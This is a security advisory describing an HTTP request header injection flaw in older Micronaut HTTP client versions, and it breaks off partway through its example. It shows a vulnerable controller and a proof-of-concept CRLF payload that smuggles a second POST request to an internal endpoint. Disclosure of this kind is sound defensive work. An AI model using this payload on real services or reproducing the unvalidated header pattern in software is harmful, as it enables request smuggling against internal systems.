All versions of io.micronaut:micronaut-http-client before 1.2.11 and all versions from 1.3.0 before 1.3.2 are vulnerable to HTTP Request Header Injection due to not validating request headers passed to the client.

Affected: Maven: io.micronaut:micronaut-http-client

### Vulnerability

Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.

Example of vulnerable code:

```java @Controller("/hello") public class HelloController {

@Inject @Client("/") RxHttpClient client;

@Get("/external-exploit") @Produces(MediaType.TEXT_PLAIN) public String externalExploit(@QueryValue("header-value") String headerValue) { return client.toBlocking().retrieve( HttpRequest.GET("/hello") .header("Test", headerValue) ); } } ```

In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.

For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.

```java List<String> headerData = List.of( "Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in. "", "", "POST /hello/super-secret HTTP/1.1", "Host: 127.0.0.1", "Content-Length: 31", "", "{\"new\":\"json\",\"content\":\"here\"}", "", "" ); String headerValue = "H\r\n" + String.join("\r\n", headerData);; URI theURI = UriBuilder .of("/hello/external-exploit") .queryParam("header-value", headerValue) // Automatically URL encodes data .buil…